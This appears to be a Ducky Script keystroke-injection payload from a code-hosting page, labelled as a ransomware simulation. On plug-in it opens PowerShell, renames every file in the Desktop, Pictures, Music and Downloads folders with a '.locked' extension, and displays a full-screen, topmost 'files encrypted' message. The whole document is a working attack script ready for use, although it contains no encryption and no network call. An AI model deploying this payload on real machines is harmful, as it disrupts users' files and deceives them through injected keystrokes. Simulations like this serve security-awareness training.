Mark
72 lines
2.4 KiB
Plaintext
72 lines
2.4 KiB
Plaintext
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
|
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
|
REM %%%%%%%%%%%%% This script was created by github.com/MarkCyber %%%%%%%%%%%%%%
|
|
REM %%%%%%%%%%%%% This script simulates a ransomware attack by changing file extensions and displays a message %%%%%%%%%%%%%%
|
|
REM %%%%%%%%%%%%% Renaming file extensions renders each file unusable until the proper extension is added %%%%%%%%%%%%%%
|
|
REM %%%%%%%%%%%%% Run (1.1)RansomwareSimulationCleanup to revert the changes and renaming of extensions %%%%%%%%%%%%%%
|
|
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
|
REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 1000
|
|
STRING powershell
|
|
ENTER
|
|
DELAY 3000
|
|
REM Define the locations using correct SpecialFolder enumerations
|
|
STRING $folders = @(
|
|
ENTER
|
|
DELAY 500
|
|
STRING [System.Environment+SpecialFolder]::Desktop,
|
|
ENTER
|
|
DELAY 500
|
|
STRING [System.Environment+SpecialFolder]::MyPictures,
|
|
ENTER
|
|
DELAY 500
|
|
STRING [System.Environment+SpecialFolder]::MyMusic,
|
|
ENTER
|
|
DELAY 500
|
|
STRING [System.Environment+SpecialFolder]::Downloads
|
|
ENTER
|
|
DELAY 500
|
|
STRING )
|
|
ENTER
|
|
DELAY 500
|
|
REM Iterate over each location
|
|
STRING foreach ($folder in $folders) {
|
|
ENTER
|
|
DELAY 500
|
|
STRING $path = [Environment]::GetFolderPath($folder)
|
|
ENTER
|
|
DELAY 500
|
|
REM Get all files in the path and rename them
|
|
STRING Get-ChildItem -Path $path -File | ForEach-Object { Rename-Item -Path $_.FullName -NewName ($_.Name + '.locked') }
|
|
ENTER
|
|
DELAY 500
|
|
STRING }
|
|
ENTER
|
|
DELAY 2000
|
|
REM Display ransomware message
|
|
STRING Add-Type -AssemblyName PresentationFramework
|
|
ENTER
|
|
DELAY 500
|
|
STRING $Window = New-Object System.Windows.Window
|
|
ENTER
|
|
DELAY 500
|
|
STRING $Window.WindowStartupLocation = 'CenterScreen'
|
|
ENTER
|
|
DELAY 500
|
|
STRING $Window.WindowState = 'Maximized'
|
|
ENTER
|
|
DELAY 500
|
|
STRING $Window.Topmost = $true
|
|
ENTER
|
|
DELAY 500
|
|
STRING $Window.Content = 'Your files have been encrypted. This is a simulation. Please contact your IT support team.'
|
|
ENTER
|
|
DELAY 500
|
|
STRING $Window.ShowDialog()
|
|
ENTER
|
|
DELAY 2000
|
|
STRING exit
|
|
ENTER
|